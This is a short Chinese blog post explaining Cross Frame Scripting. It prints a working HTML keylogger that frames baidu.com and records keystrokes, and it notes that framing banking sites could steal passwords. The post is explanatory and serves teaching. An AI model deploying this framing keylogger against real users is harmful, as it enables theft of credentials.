本文通过一个简单的HTML实验，展示了CrossFrameScript攻击原理及其潜在危害。利用浏览器框架跨站漏洞，恶意站点能通过主框架代码监视并盗取用户在被包含页面上的输入，如账号密码等敏感信息。
分享一下我老师大神的人工智能教程！零基础，通俗易懂！http://blog.youkuaiyun.com/jiangjunshow
也欢迎大家转载本篇文章。分享知识，造福人民，实现我们中华民族伟大复兴！
什么是Cross Frame Script?
很简单，做个实验就知道了。把下面的这段HTML代码另存为一个html文件，然后用ie浏览器打开。
<html>
<head>
<title>IE Cross Frame Scripting Restriction Bypass Example</title>
<script>
var keylog='';
document.onkeypress = function () {
k = window.event.keyCode;
window.status = keylog += String.fromCharCode(k) + '[' + k +']';
}
</script>
</head>
<frameset onload="this.focus();" onblur="this.focus();" cols="100%">
<frame src="http://www.baidu.com/" scrolling="auto">
</frameset>
</html>
当你在百度的搜索框输入字符时，你会发现左下角的状态栏上出现了你输入的字符。
Cross Frame Script 原理
利用浏览器允许框架(frame)跨站包含其它页面的漏洞，在主框架的代码中加入scirpt，监视、盗取用户输入。
Cross Frame Script 危害
一个恶意的站点可以通过用框架包含真的网银或在线支付网站，获取用户账号和密码。
给我老师的人工智能教程打call！http://blog.youkuaiyun.com/jiangjunshow
扫一扫
6147
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
